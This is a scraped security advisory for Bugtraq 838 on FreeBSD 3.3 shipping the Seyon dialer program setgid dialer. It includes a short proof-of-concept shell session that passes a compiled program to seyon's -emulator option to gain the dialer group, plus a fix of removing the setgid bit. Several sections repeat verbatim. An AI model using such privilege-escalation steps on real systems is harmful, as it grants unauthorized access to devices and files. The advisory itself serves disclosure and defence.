FreeBSD Seyon setgid dialer Vulnerability
BID:838
Info
FreeBSD Seyon setgid dialer Vulnerability
| Bugtraq ID: | 838 |
| Class: | Configuration Error |
| CVE: |
CVE-1999-0820 CVE-1999-0821 |
| Remote: | No |
| Local: | Yes |
| Published: | Dec 01 1999 12:00AM |
| Updated: | Jul 11 2009 12:56AM |
| Credit: | First posted to BugTraq by Brock Tellier <[email protected]> on December 1, 1999. |
| Vulnerable: |
FreeBSD FreeBSD 3.3 |
| Not Vulnerable: | |
Discussion
FreeBSD Seyon setgid dialer Vulnerability
FreeBSD 3.3-RELEASE ships with Seyon, a communications program which is known to have several vulnerabilities which can allow for a malicious user to elevate priviliges. The vulnerability, however, is that seyon is still installed setgid dialer in FreeBSD. When seyon is exploited, a local user can grant him/herself priviliges which allow access to the communications devices or anything else accessable by the group dialer.
FreeBSD 3.3-RELEASE ships with Seyon, a communications program which is known to have several vulnerabilities which can allow for a malicious user to elevate priviliges. The vulnerability, however, is that seyon is still installed setgid dialer in FreeBSD. When seyon is exploited, a local user can grant him/herself priviliges which allow access to the communications devices or anything else accessable by the group dialer.
Exploit / POC
FreeBSD Seyon setgid dialer Vulnerability
One of the methods to exploit seyon is shown below:
bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c
bash-2.03$ gcc -o id id.c
bash-2.03$ seyon -emulator ./id
uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec)
One of the methods to exploit seyon is shown below:
bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c
bash-2.03$ gcc -o id id.c
bash-2.03$ seyon -emulator ./id
uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec)
Solution / Fix
FreeBSD Seyon setgid dialer Vulnerability
Solution:
Remove the setgid bit from seyon.
Solution:
Remove the setgid bit from seyon.
References
FreeBSD Seyon setgid dialer Vulnerability
References:
References: